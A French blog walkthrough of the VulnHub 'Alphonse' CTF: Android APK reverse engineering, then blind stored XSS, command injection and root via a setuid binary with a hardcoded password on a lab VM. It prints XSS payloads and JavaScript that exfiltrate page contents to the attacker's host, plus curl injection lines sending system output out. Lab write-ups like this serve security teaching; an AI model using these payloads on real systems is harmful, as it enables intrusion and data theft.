Accueil Solution du CTF Alphonse de VulnHub
Post
Annuler

Solution du CTF Alphonse de VulnHub

Le CTF SP: alphonse créé par Daniel Solstad était assez étonnant avec un chemin pour obtenir une exécution de commande assez compliqué puis une escalade de privilèges triviale.

J’ai aussi rencontré quelques difficultés avec la VM qui a tendance à vite manquer d’espace disque en raison des logs qui grossissent rapidement si on fuzze ou brute-force (attention aussi aux fichiers de session PHP dans /var/lib/php).

Mon conseil : n’utilisez le brute-force que pour l’énumération web initiale et oubliez le pour la suite. Vous n’en aurez pas besoin pour les URLs découvertes où il s’agit plus de faire quelques essais manuels.

Le CTF fait partie d’une série de challenges nommés après des personnages de South Park. Ici le synopsis est le suivant :

Alphonse is into genes and would like to research your DNA. Is his setup secure thought?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ sudo nmap -p- -T5 -sCV 192.168.56.74
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 192.168.56.74
Host is up (0.00066s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxr-x    2 ftp      ftp          4096 Sep 05  2019 dev
|_drwxr-xr-x    2 ftp      ftp          4096 Aug 30  2019 pub
80/tcp  open  http        Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:85:34:C0 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.1.1, ALPHONSE; OS: Unix

Host script results:
|_clock-skew: mean: 1h39m58s, deviation: 2h53m12s, median: -1s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: ALPHONSE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time: 
|   date: 2022-12-07T08:02:34
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: alphonse
|   NetBIOS computer name: ALPHONSE\x00
|   Domain name: \x00
|   FQDN: alphonse
|_  System time: 2022-12-07T03:02:34-05:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds

Nono le petit robot

Sur le serveur FTP se trouve dans le dossier dev un fichier avec une extension apk :

1
2
$ file DNAnalyzer.apk 
DNAnalyzer.apk: Zip archive data, at least v2.0 to extract, compression method=deflate

Il s’agit bien sûr d’une application pour Android. On le voit aussi à travers certains fichiers présents dans l’archive.

1
2
     2344  1979-11-30 00:00   AndroidManifest.xml
  3261688  1979-11-30 00:00   classes.dex

Nous allons rétro-ingénierer l’application. Pour cela il faut d’abord extraire le code en utilisant dex2jar: Tools to work with android .dex and java .class files :

1
2
$ ./d2j-dex2jar.sh classes.dex 
dex2jar classes.dex -> ./classes-dex2jar.jar

On peut alors charger le jar dans JD-GUI. Les classes qui nous intéressent sont majoritairement sous le package com.dnanalyzer.jwt.

Dans le fichier NetworkRequest.class je trouve des références à plusieurs URLs :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  public void doGetProtectedQuote(@NonNull String paramString, @Nullable Callback paramCallback) {
    setCallback(paramCallback);
    doGetRequestWithToken("http://alphonse/dnanalyzer/api/protected/result.php", new HashMap<String, String>(), paramString, paramCallback);
  }
  
  public void doLogin(@NonNull String paramString1, @NonNull String paramString2, Callback paramCallback) {
    setCallback(paramCallback);
    HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
    hashMap.put("username", paramString1);
    hashMap.put("password", paramString2);
    doPostRequest("http://alphonse/dnanalyzer/api/login.php", (Map)hashMap, paramCallback);
  }
  
  public void doSignUp(@NonNull String paramString1, @NonNull String paramString2, String paramString3, @Nullable Callback paramCallback) {
    setCallback(paramCallback);
    HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
    hashMap.put("username", paramString1);
    hashMap.put("password", paramString2);
    hashMap.put("dna_string", paramString3);
    doPostRequest("http://alphonse/dnanalyzer/api/register.php", (Map)hashMap, paramCallback);
  }

Et ça tombe bien car l’index servit par le serveur web ne donnait rien d’exploitable (retournait une erreur HTTP 403).

J’ai procédé à une énumération web qui a permis de retrouver les URLs suivantes :

1
2
3
4
5
6
7
301        9l       28w      323c http://192.168.56.74/dnanalyzer/api
200        7l       40w      424c http://192.168.56.74/dnanalyzer/api/register.php
403        5l       26w      270c http://192.168.56.74/dnanalyzer/api/login.php
301        9l       28w      326c http://192.168.56.74/dnanalyzer/portal
200        1l       15w      213c http://192.168.56.74/dnanalyzer/portal/index.php
301        9l       28w      326c http://192.168.56.74/dnanalyzer/vendor
200        0l        0w        0c http://192.168.56.74/dnanalyzer/database.php

En revanche le dossier protected cité dans le code source ne semble pas exister.

Les scripts de l’API sont suffisamment verbeux pour nous indiquer quoi faire :

1
2
3
4
5
6
7
<br />
<b>Notice</b>:  Undefined index: username in <b>/var/www/html/dnanalyzer/api/register.php</b> on line <b>22</b><br />
<br />
<b>Notice</b>:  Undefined index: password in <b>/var/www/html/dnanalyzer/api/register.php</b> on line <b>23</b><br />
<br />
<b>Notice</b>:  Undefined index: dna_string in <b>/var/www/html/dnanalyzer/api/register.php</b> on line <b>24</b><br />
{"message":"User was successfully registered."}

Je peux ainsi procéder à l’enregistrement :

1
2
3
4
5
6
7
8
9
10
11
$ curl -D- http://192.168.56.74/dnanalyzer/api/register.php -XPOST -d "username=devloop&password=devloop&dna_string=1"
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 47
Content-Type: application/json; charset=UTF-8

{"message":"User was successfully registered."}

Et ensuite à la connexion :

1
2
3
4
5
6
7
8
9
10
11
$ curl -D- http://192.168.56.74/dnanalyzer/api/login.php -XPOST -d "username=devloop&password=devloop"
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 338
Content-Type: application/json; charset=UTF-8

{"message":"Successful login.","jwt":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJBbHBob25zZSIsImF1ZCI6IlRIRV9BVURJRU5DRSIsImlhdCI6MTY3MDQwNTMwMiwibmJmIjoxNjcwNDA1MzEyLCJleHAiOjE2NzA0MDUzNjIsImRhdGEiOnsiaWQiOiI0MiIsInVzZXJuYW1lIjoiZGV2bG9vcCJ9fQ.fhJ3uJuM0xyA2sMxk_U4eoySYQMaACO4uD9KROqhuYY","username":"devloop","expireAt":1670405362}

J’obtiens un token JWT… Je peux le passer à https://jwt-decoder.com/ qui m’indique l’entête suivant :

1
2
3
4
{
  "typ": "JWT",
  "alg": "HS256"
}

et ces données :

1
2
3
4
5
6
7
8
9
10
11
{
  "iss": "Alphonse",
  "aud": "THE_AUDIENCE",
  "iat": 1670405302,
  "nbf": 1670405312,
  "exp": 1670405362,
  "data": {
    "id": "42",
    "username": "devloop"
  }
}

En fouillant dans le code décompilé j’ai pu faire les correspondances suivantes :

  • iss => issuer

  • aud => audience

  • iat => issueAt

  • nbf => notBefore

  • exp => expiresAt

  • jti => id

  • extra => claim

En cherchant un peu sur le web j’ai découvert qu’une grande partie de ces noms de variables sont très génériques (voir JSON Web Token Claims) et je n’ai d’ailleurs pas trouvé de traitement particulier de ces données dans l’application Android (du genre exécution d’une commande, accès à des fichiers ou autre).

J’ai pensé aussi à une vulnérabilité de désérialisation mais le package GSON de Google qui est inclus dans l’application est réputé sûr. Il y a un advisory qui le concerne mais aucun PoC n’est disponible sur Internet.

Man in the browser

Finalement ma logique a été de me dire que puisque Alphonse est intéressé par notre ADN il va forcément le regarder. Et ça tombe bien quand on s’enregistre on passe un paramètre dna_string.

J’ai donc procédé à un enregistrement en spécifiant la valeur suivante :

1
<script src="http://192.168.56.1/test2.js"></script>

Et après quelques minutes j’obtiens effectivement une requête prouvant que le paramètre est vulnérable à un XSS en aveugle.

La suite logique est d’exfiltrer le cookie de l’utilisateur comme j’ai pu le faire sur le CTF RedCross de HackTheBox. Mais ici j’ai obtenu une réponse vide… C’est peut être dû à l’authentification par JWT que l’on a vu plus tôt ou à l’option httpOnly définie sur le cookie.

J’ai décidé de procédé autrement : je provoque une requête HTTP dans le navigateur d’Alphonse pour la page qui m’intéresse, j’obtiens la réponse via XHR puis j’envoie le contenu via le chargement d’une image (on ne peut pas le faire directement via XHR en raison de la same-origin policy).

Mon script JS devient alors le suivant :

1
2
3
4
5
6
7
8
9
10
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
    if(xmlhttp.readyState == 4){
        var img = document.createElement("img");
        img.src = "http://192.168.56.1/content" + encodeURI(xmlhttp.responseText);
        document.body.appendChild(img);
    }
}
xmlhttp.open("GET","/dnanalyzer/portal/index.php");
xmlhttp.send();

J’obtiens alors une requête sur mon serveur web qui contient la page encodée. Une fois décodée ça ressemble à ceci :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<html>                                                                                                                 
                                                                                                                       
<head>                                                                                                                 
    <meta http-equiv="refresh" content="180">
    <script src="analyze_dna.js"></script>                                                                             
</head>                                                                                                                
                                                                                                                       
<body>                                                                                                                 
    <table border="1">                                                                                                 
        <tr>                                                                                                           
            <td><b>Username</b></td>                                                                                   
            <td><b>DNA string</b></td>                                                                                 
            <td><b>Result</b></td>                                                                                     
            <td><b>Analyze</b></td>                                                                                    
        </tr>                                                                                                          
        <tr>                                                                                                           
            <td>Alphonse</td>                                                                                          
            <td id="dna_string_id_5">GATC</span>                                                                       
            </td>                                                                                                      
            <td id="dna_res_id_5">Superb</td>                                                                          
            <td><button id="5" onclick="edit_dna(this);">Analyze</button></td>                                         
        </tr>                                                                                                          
        <tr>                                                                                                           
            <td>Kevin</td>                                                                                             
            <td id="dna_string_id_6">TCAG</span>                                                                       
            </td>                                                                                                      
            <td id="dna_res_id_6">Weak</td>                                                                            
            <td><button id="6" onclick="edit_dna(this);">Analyze</button></td>                                         
        </tr>                                                                                                          
--- snip ---
        <tr>                                                                                                           
            <td>devloop</td>                                                                                           
            <td id="dna_string_id_42">1</span>                                                                         
            </td>                                                                                                      
            <td id="dna_res_id_42"></td>                                                                               
            <td><button id="42" onclick="edit_dna(this);">Analyze</button></td>                                        
        </tr>                                                                                                          
        <tr>                                                                                                           
            <td>zozo</td>                                                                                             
            <td id="dna_string_id_1009">                                                                               
                <script src="http://192.168.56.1/test2.js"></script>                                                   
                </span>                                                                                                
            </td>                                                                                                      
            <td id="dna_res_id_1009"></td>                                                                             
            <td><button id="1009" onclick="edit_dna(this);">Analyze</button></td>                                      
        </tr>                                                                                                          
    </table><br />                                                                                                     
    <form action="" method="POST"><input name="logout" type="submit" value="Logout" /></form>                          
</body>                                                                                                                
                                                                                                                       
</html>

C’est la page sur laquelle notre injection a lieu (on voit d’ailleurs mon code). Je procéde à la même étape mais pour le fichier JS qui est utilisé.

Le contenu dumpé est le suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
function edit_dna(elem) {
    var id = elem.id;
    var val = document.getElementById('dna_string_id_' + id).innerHTML;
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "analyze_dna.php");
    xhr.setRequestHeader('Content-type', 'application/json');
    xhr.onreadystatechange = function() {
        if (xhr.readyState == 4 && xhr.status == 200) {
            document.getElementById('dna_res_id_' + id).innerHTML = xhr.responseText;
        }
    }
    xhr.send(JSON.stringify({"id":id,"val":val}));
}

Donc la logique de l’analyse ADN est faite par le script PHP analyze_dna.php.

J’ai essayé de communiquer avec lui via curl mais impossible d’obtenir le moindre résultat même en passant mon token JWT.

L’authentification qui a lieu sous le dossier /portal doit être différente ou n’accepter que le compte de Alphonse.

Par conséquent je n’ai pas trop le choix, je vais forger la requête vers le script PHP en passant par son navigateur. J’ai noté que Alphonse avait marqué son ADN comme étant Superb (le prétentieux). Voyons voir si j’envoie la même chaine ADN mais avec mon identifiant 42 :

1
2
3
4
5
6
7
8
9
10
11
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
    if(xmlhttp.readyState == 4){
        var img = document.createElement("img");
        img.src = "http://192.168.56.1/dna" + encodeURI(xmlhttp.responseText);
        document.body.appendChild(img);
    }
}
xmlhttp.open("POST","/dnanalyzer/portal/analyze_dna.php");
xmlhttp.setRequestHeader('Content-type', 'application/json');
xmlhttp.send(JSON.stringify({"id": 42, "val": "GATC"}));

Dans le contenu leaké j’obtiens effectivement le status Superb. Il faut donc que je continue à utiliser cette session authentifiée.

ADN piégé

A ce stade j’ai déja passé beaucoup de temps sur le CTF (surtout parce que le XSS est déclenché toutes les 3 minutes seulement) et je n’ai pas trop envie d’imaginer qu’il faille enchainer sur une faille SQL. Il me semblait relativement probable qu’on aurait directement un RCE.

J’ai donc passé la valeur suivante :

1
xmlhttp.send(JSON.stringify({"id": 42, "val": "GATC;curl http://192.168.56.1/success;"}));

Et la VM a bien tapé sur mon URL. On voit aussi la réponse de mon serveur qui est renvoyée ensuite sur le mien via le chargement de l’image :

1
2
3
4
5
6
[Mon Dec 12 19:47:00 2022] 192.168.56.74:52448 Accepted
[Mon Dec 12 19:47:00 2022] 192.168.56.74:52448 [404]: (null) /success - No such file or directory
[Mon Dec 12 19:47:00 2022] 192.168.56.74:52448 Closing
[Mon Dec 12 19:47:00 2022] 192.168.56.74:52450 Accepted
[Mon Dec 12 19:47:00 2022] 192.168.56.74:52450 [404]: (null) /dna%3C/head%3E%3Cbody%3E%3Ch1%3ENot%20Found%3C/h1%3E%3Cp%3EThe%20requested%20resource%20%3Ccode%20class=%22url%22%3E/success%3C/code%3E%20was%20not%20found%20on%20this%20server.%3C/p%3E%3C/body%3E%3C/html%3E - No such file or directory
[Mon Dec 12 19:47:00 2022] 192.168.56.74:52450 Closing

J’ai tenté quelques commandes de reverse-shell mais une bonne partie ont échouées. Je me suis renseigné un peu sur la machine avec ce type de commande pour exfiltrer les informations :

1
curl http://192.168.56.1/`uname -a|base64 -w0`

On a bien un système 64 bits :

Linux alphonse 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) x86_64 GNU/Linux

Et concernant nos droits sur le serveur :

1
curl http://192.168.56.1/`(id; ls -al)|base64 -w0`;

Youpi, le dossier parent (dnanalyze) est world-writable :

1
2
3
4
5
6
7
8
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 40
drwxr-xr-x 2 alphonse alphonse  4096 Sep  1  2019 .
drwxrwxrwx 5 alphonse alphonse  4096 Dec  7 08:18 ..
-rw-r--r-- 1 alphonse alphonse   511 Aug 30  2019 analyze_dna.js
-rw-r--r-- 1 alphonse alphonse   632 Sep  1  2019 analyze_dna.php
-rwxr-xr-x 1 alphonse alphonse 16664 Aug 30  2019 dnanalyzer
-rw-r--r-- 1 alphonse alphonse  2083 Sep  1  2019 index.php

Une fois uploadé un shell PHP dedans (via curl -o) puis un reverse-ssh plus tard je peux fouiller un peu plus.

Voici le contenu du script analyze_dna.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

ini_set('display_errors', true);
error_reporting(E_ALL);

session_start();

if (isset($_SESSION['authed'])) {
    $data = json_decode(file_get_contents("php://input"));
    if (!$data) {
        exit();
    }
    $val = $data->val;
    $id = $data->id;

    $res = exec('./dnanalyzer ' . $val);

    include_once '../database.php';

    $databaseService = new DatabaseService();
    $con = $databaseService->getConnection();

    try {
        $con->query("UPDATE `Users` SET dna_result = '" . $res . "' WHERE id = '" . $id . "'");
    } catch (PDOException $e) {
        print $e->getMessage();
    }

    print $res;

}

?>

Tout est stocké dans une base sqlite3 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@alphonse:/var/www/html/dnanalyzer$ sqlite3 users.sqlite3 
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.
sqlite> .tables
Users
sqlite> .schema Users 
CREATE TABLE Users (id INTEGER PRIMARY KEY AUTOINCREMENT, username nvarchar, password nvarchar, dna_string nvarchar, dna_result nvarchar);
sqlite> select * from Users;
5|Alphonse|$2y$10$R6Y.DdYH5BUhbtUf1LOQ1OxAAxlRlrUbXg0z.tZtXnQxML7BiFN4e|GATC|Superb
6|Kevin|$2y$10$qqh98ui/i.DOW5pDCXRJJedNnYOwk8TttCEc5TQB35q.8N.4U8jfO|TCAG|Weak
40||$2y$10$ph0nscggdbMy82KLyxfv1.szMoWpSl3m7usR166TKfcB4sW56FfWm||
41||$2y$10$mPKMdYV77kglkqFfdbGhYe5817Jk3gDQiNDG/jsx9LM7FpSXKXJuC||
42|devloop|$2y$10$CpVpMf..X7EGn941Y2MGcexFKeATqOgMxOn5rtur36pWdERq0RmVG|1|Superb
43|zozo2|$2y$10$cA1pP8gSFcq9WU5XevCMjOzK1q9PEG1Mv6BaKZGD26dver24L5Ozi|<script src="http://192.168.56.1/test2.js"></script>|

J’ai tenté de donner ces hashs à JohnTheRipper mais ils semblent trop forts pour être cassés.

J’ai trouvé différents fichiers dans le dossier personnel de Alphonse :

1
2
3
-rw-r--r--  1 alphonse alphonse   12 Sep  1  2019 flag.txt
-rwxr-xr-x  1 alphonse alphonse   21 Sep 10  2019 lock.sh
-rw-r--r--  1 alphonse alphonse   65 Aug 30  2019 todo.txt

On a visiblement affaire à un scientifique fou (Timsit avait raison) :

1
2
* Create monkey with four asses
* Create monkey with seven asses

On obtient aussi notre premier flag : dmx2urv87f2

Le script lock.sh s’assure uniquement que la session graphique de l’utilisateur se vérouille :

1
2
sleep 1
dm-tool lock

Dans le dossier Documents de l’utilisateur je trouve un binaire setuid root :

1
-rwsr-xr-x  1 root     root      17K Sep  3  2019 rootme

Un petit hexdump s’impose :

1
2
3
4
5
00002000  01 00 02 00 2e 2f 72 6f  6f 74 6d 65 20 3c 70 61  |...../rootme <pa|
00002010  73 73 77 6f 72 64 3e 00  61 4e 68 67 4b 69 34 78  |ssword>.aNhgKi4x|
00002020  75 4f 00 48 65 72 65 20  79 6f 75 20 67 6f 3a 00  |uO.Here you go:.|
00002030  62 61 73 68 00 2f 62 69  6e 2f 73 68 00 57 72 6f  |bash./bin/sh.Wro|
00002040  6e 67 20 70 61 73 73 77  6f 72 64 00 01 1b 03 3b  |ng password....;|

Comme dis au début de l’article c’est trivial :

1
2
3
4
5
6
7
8
9
www-data@alphonse:/home/alphonse/Documents$ ./rootme aNhgKi4xuO
Here you go:
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
flag.txt
# cat flag.txt
91bmZfpe2L

Sous le capot

Il y a un Firefox (un vrai, pas un headless) qui est lancé à l’ouverture de session de l’utilisateur et qui se charge d’ouvrir un fichier HTML sur le disque :

1
2
3
4
5
6
7
8
9
10
11
12
www-data@alphonse:/home/alphonse$ cat .config/autostart/Firefox.desktop 
[Desktop Entry]
Encoding=UTF-8
Version=0.9.4
Type=Application
Name=Firefox
Comment=
Exec=/usr/bin/firefox "file:///var/scripts/index.html"
OnlyShowIn=XFCE;
StartupNotify=false
Terminal=false
Hidden=false

Ca explique pourquoi un script bash s’occupait de vérouiller la session. Le système devait être configuré pour connecter Alphonse sans saisie de mot de passe mais laisser assez de temps pour que Firefox se lance.

Le fichier HTML chargé est le suivant :

1
2
3
4
5
6
7
<body onload="document.form1.submit();">
<form name="form1" action="http://127.0.0.1/dnanalyzer/portal/index.php" method="POST">
<input name="user" type="text" value="alphonse"/>
<input name="pass" type="text" value="YouCantBruteforceThisIn10000years%"/>
<input name="login" type="text" value="login" />
</form>
</body>

Il procéde seulement à l’authentification sur l’interface portal.

Pour terminer on pouvait lire plus tôt que la page qui affiche les résultats ADNs avait un tag méta qui rechargait la page toutes les 3 minutes :

1
<meta http-equiv="refresh" content="180">

Comme quoi il ne faut pas bourriner sur le formulaire d’enregistrement sans quoi le code HTML risque de se retrouver dans un état impraticable.

L’auteur du CTF a publié une solution dans laquelle il utilise mygg.js: Proxy via XSS qui n’est pas éloigné du framework BeEF :

DANIEL SOLSTAD - Walkthrough of Alphonse

Publié le 13 décembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.